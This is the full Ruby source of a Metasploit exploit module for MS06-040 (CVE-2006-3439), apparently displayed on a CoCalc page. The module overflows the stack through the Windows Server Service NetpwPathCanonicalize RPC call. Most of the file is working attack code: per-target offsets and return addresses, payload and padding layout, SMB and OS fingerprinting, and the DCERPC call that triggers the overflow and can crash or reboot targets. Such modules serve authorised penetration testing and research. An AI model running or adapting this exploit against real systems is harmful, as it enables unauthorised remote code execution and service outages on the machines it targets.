CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Msf::Exploit::Remote::DCERPC
10
  include Msf::Exploit::Remote::SMB::Client
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow',
15
      'Description'    => %q{
16
          This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function
17
        using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that
18
        other RPC calls could be used to exploit this service. This exploit will result in
19
        a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt
20
        will likely result in a complete reboot on Windows 2000 and the termination of all
21
        SMB-related services on Windows XP. The default target for this exploit should succeed
22
        on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0.
23
      },
24
      'Author'         =>
25
        [
26
          'hdm'
27
        ],
28
      'License'        => MSF_LICENSE,
29
      'References'     =>
30
        [
31
          [ 'CVE', '2006-3439' ],
32
          [ 'OSVDB', '27845' ],
33
          [ 'BID', '19409' ],
34
          [ 'MSB', 'MS06-040' ],
35
        ],
36
      'DefaultOptions' =>
37
        {
38
          'EXITFUNC' => 'thread',
39
        },
40
      'Privileged'     => true,
41
      'Payload'        =>
42
        {
43
          # Technically we can use more space than this, but by limiting it
44
          # to 370 bytes we can use the same request for all Windows SPs.
45
          'Space'    => 370,
46
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
47
          'StackAdjustment' => -3500,
48
        },
49
      'Platform'       => 'win',
50
      'DefaultTarget'  => 0,
51
      'Targets'        =>
52
        [
53
          [ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)', { } ],
54
          [ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4',
55
            {
56
              'Offset' => 1000,
57
              'Ret'    => 0x00020804
58
            }
59
          ],
60
          [ '(wcscpy) Windows XP SP0/SP1',
61
            {
62
              'Offset' => 612,
63
              'Ret'    => 0x00020804
64
            }
65
          ],
66
          [ '(stack)  Windows XP SP1 English',
67
            {
68
              'OffsetA' => 656,
69
              'OffsetB' => 680,
70
              'Ret'     => 0x71ab1d54 # jmp esp @ ws2_32.dll
71
            }
72
          ],
73
          [ '(stack)  Windows XP SP1 Italian',
74
            {
75
              'OffsetA' => 656,
76
              'OffsetB' => 680,
77
              'Ret'     => 0x71a37bfb # jmp esp @ ws2_32.dll
78
            }
79
          ],
80
          [ '(wcscpy) Windows 2003 SP0',
81
            {
82
              'Offset' => 612,
83
              'Ret'    => 0x00020804
84
            }
85
          ],
86
        ],
87
      'Notes'          =>
88
        {
89
          'Reliability' => [ UNRELIABLE_SESSION ],
90
          'Stability'   => [ CRASH_OS_RESTARTS, CRASH_SERVICE_DOWN ]
91
        },
92
      'DisclosureDate' => '2006-08-08'))
93

94
    register_options(
95
      [
96
        OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
97
      ])
98

99
    deregister_options('SMB::ProtocolVersion')
100
  end
101

102
  def exploit
103

104
    connect(versions: [1])
105
    smb_login()
106

107
    mytarget = target
108
    if (not target) or (target.name =~ /Automatic/)
109
      case smb_peer_os()
110
        when 'Windows 5.0'
111
          print_status("Detected a Windows 2000 target")
112
          mytarget = targets[1]
113

114
        when 'Windows NT 4.0'
115
          print_status("Detected a Windows NT 4.0 target")
116
          mytarget = targets[1]
117

118
        when 'Windows 5.1'
119
          begin
120
            smb_create("\\SRVSVC")
121
            print_status("Detected a Windows XP SP0/SP1 target")
122
          rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
123
            if (e.error_code == 0xc0000022)
124
              print_status("Windows XP SP2 is not exploitable")
125
              return
126
            end
127
            print_status("Detected a Windows XP target (unknown patch level)")
128
            print_status("To exploit this system, \"set TARGET 2\" and run this exploit again")
129
          end
130
          return
131

132
        when /Windows Server 2003 (\d+)$/
133
          print_status("Detected a Windows 2003 SP0 target, but have not confirmed English language")
134
          print_status("To exploit this system, \"set TARGET 5\" and run this exploit again")
135
          # mytarget = targets[5]
136
          return
137

138
        when /Windows Server 2003 (\d+) Service Pack (\d+)/
139
          print_status("Windows 2003 SP#{$2} is not exploitable")
140
          return
141

142
        when /Samba/
143
          print_status("Samba is not vulnerable")
144
          return
145

146
        else
147
          print_status("No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")
148
          return
149
      end
150
    end
151

152
    # Specific fixups for Windows NT
153
    case smb_peer_os()
154
    when 'Windows NT 4.0'
155
      print_status("Adjusting the SMB/DCERPC parameters for Windows NT")
156
      datastore['SMB::pipe_write_min_size'] = 2048
157
      datastore['SMB::pipe_write_max_size'] = 4096
158
    end
159

160
    handle = dcerpc_handle(
161
      '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
162
      'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
163
    )
164

165
    print_status("Binding to #{handle} ...")
166
    dcerpc_bind(handle)
167
    print_status("Bound to #{handle} ...")
168

169
    #
170
    #  /* Function 0x1f at 0x767e912c */
171
    #  long function_1f (
172
    #    [in] [unique] [string] wchar_t * arg_00,
173
    #    [in] [string] wchar_t * arg_01,
174
    #    [out] [size_is(arg_03)] char * arg_02,
175
    #    [in] [range(0, 64000)] long arg_03,
176
    #    [in] [string] wchar_t * arg_04,
177
    #    [in,out] long * arg_05,
178
    #    [in] long arg_06
179
    #  );
180
    #
181

182
    print_status("Building the stub data...")
183
    stub = ''
184

185
    case mytarget.name
186

187
    # This covers NT 4.0 as well
188
    when /wcscpy.*Windows 2000/
189

190
      code = make_nops(mytarget['Offset'] - payload.encoded.length) + payload.encoded
191

192
      path = code + ( [mytarget.ret].pack('V') * 16 ) + "\x00\x00"
193

194
      stub =
195
        NDR.long(rand(0xffffffff)) +
196
        NDR.UnicodeConformantVaryingString('') +
197
        NDR.UnicodeConformantVaryingStringPreBuilt(path) +
198
        NDR.long(rand(250)+1) +
199
        NDR.UnicodeConformantVaryingStringPreBuilt("\xeb\x02\x00\x00") +
200
        NDR.long(rand(250)+1) +
201
        NDR.long(0)
202

203
    when /wcscpy.*Windows XP/
204
      path =
205
        # Payload goes first
206
        payload.encoded +
207

208
        # Padding
209
        rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) +
210

211
        # Land 6 bytes in to bypass garbage (XP SP0)
212
        [ mytarget.ret + 6 ].pack('V') +
213

214
        # Padding
215
        rand_text_alphanumeric(8) +
216

217
        # Address to write our shellcode (XP SP0)
218
        [ mytarget.ret ].pack('V') +
219

220
        # Padding
221
        rand_text_alphanumeric(32) +
222

223
        # Jump straight to shellcode (XP SP1)
224
        [ mytarget.ret ].pack('V') +
225

226
        # Padding
227
        rand_text_alphanumeric(8) +
228

229
        # Address to write our shellcode (XP SP1)
230
        [ mytarget.ret ].pack('V') +
231

232
        # Padding
233
        rand_text_alphanumeric(32) +
234

235
        # Terminate the path
236
        "\x00\x00"
237

238
      stub =
239
        NDR.long(rand(0xffffffff)) +
240
        NDR.UnicodeConformantVaryingString('') +
241
        NDR.UnicodeConformantVaryingStringPreBuilt(path) +
242
        NDR.long(rand(0xf0)+1) +
243
        NDR.UnicodeConformantVaryingString('') +
244
        NDR.long(rand(0xf0)+1) +
245
        NDR.long(0)
246

247

248
    when /stack/
249
      buff = rand_text_alphanumeric(800)
250
      buff[0, payload.encoded.length] = payload.encoded
251
      buff[ mytarget['OffsetA'], 4 ] = [mytarget.ret].pack('V')
252
      buff[ mytarget['OffsetB'], 5 ] = "\xe9" + [ (mytarget['OffsetA'] + 5) * -1 ].pack('V')
253

254
      path = "\\\x00\\\x00" + buff + "\x00\x00"
255

256
      stub =
257
        NDR.long(rand(0xffffffff)) +
258
        NDR.UnicodeConformantVaryingString('') +
259
        NDR.UnicodeConformantVaryingStringPreBuilt(path) +
260
        NDR.long(rand(0xf0)+1) +
261
        NDR.UnicodeConformantVaryingString('') +
262
        NDR.long(rand(0xf0)+1) +
263
        NDR.long(0)
264

265

266
    when /wcscpy.*Windows 2003/
267
      path =
268
        # Payload goes first
269
        payload.encoded +
270

271
        # Padding
272
        rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) +
273

274
        # Padding
275
        rand_text_alphanumeric(32) +
276

277
        # The cookie is constant,
278
        # noticed by Nicolas Pouvesle in Misc #28
279
        "\x4e\xe6\x40\xbb" +
280

281
        # Padding
282
        rand_text_alphanumeric(4) +
283

284
        # Jump straight to shellcode
285
        [ mytarget.ret ].pack('V') +
286

287
        # Padding
288
        rand_text_alphanumeric(8) +
289

290
        # Address to write our shellcode
291
        [ mytarget.ret ].pack('V') +
292

293
        # Padding
294
        rand_text_alphanumeric(40) +
295

296
        # Terminate the path
297
        "\x00\x00"
298

299
      stub =
300
        NDR.long(rand(0xffffffff)) +
301
        NDR.UnicodeConformantVaryingString('') +
302
        NDR.UnicodeConformantVaryingStringPreBuilt(path) +
303
        NDR.long(rand(0xf0)+1) +
304
        NDR.UnicodeConformantVaryingString('') +
305
        NDR.long(rand(0xf0)+1) +
306
        NDR.long(0)
307

308
    end
309

310
    print_status("Calling the vulnerable function...")
311

312
    begin
313
      dcerpc.call(0x1f, stub, false)
314
      dcerpc.call(0x1f, stub, false)
315
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
316
    rescue => e
317
      if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
318
        raise e
319
      end
320
    end
321

322
    # Cleanup
323
    handler
324
    disconnect
325
  end
326
end
327

328